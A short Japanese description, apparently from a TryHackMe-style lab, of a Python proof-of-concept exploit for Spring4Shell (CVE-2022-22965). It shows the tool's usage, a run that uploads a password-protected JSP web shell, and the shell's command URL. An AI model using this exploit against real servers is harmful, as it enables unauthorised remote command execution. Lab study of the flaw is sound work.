
CVE-2022-22965(Spring4Shell)を対象としたPythonベースの概念実証エクスプロイトで、Apache Tomcat上のJava Spring Core RCEを狙います。パスワード保護付きのJSPウェブシェルをアップロードし、リモートコマンド実行を可能にします。
これらの脆弱性は、フレームワークの中核である「Spring Core」コンポーネントに影響を与えます。
現在の脆弱性の条件:-
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
Spring4Shell RCE Proof of Concept
positional arguments:
url Target URL
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
Name of the file to upload (Default tomcatwar.jsp)
-p PASSWORD, --password PASSWORD
Password to protect the shell with (Default: thm)
-d DIRECTORY, --directory DIRECTORY
The upload path for the file (Default: ROOT)
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!
# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami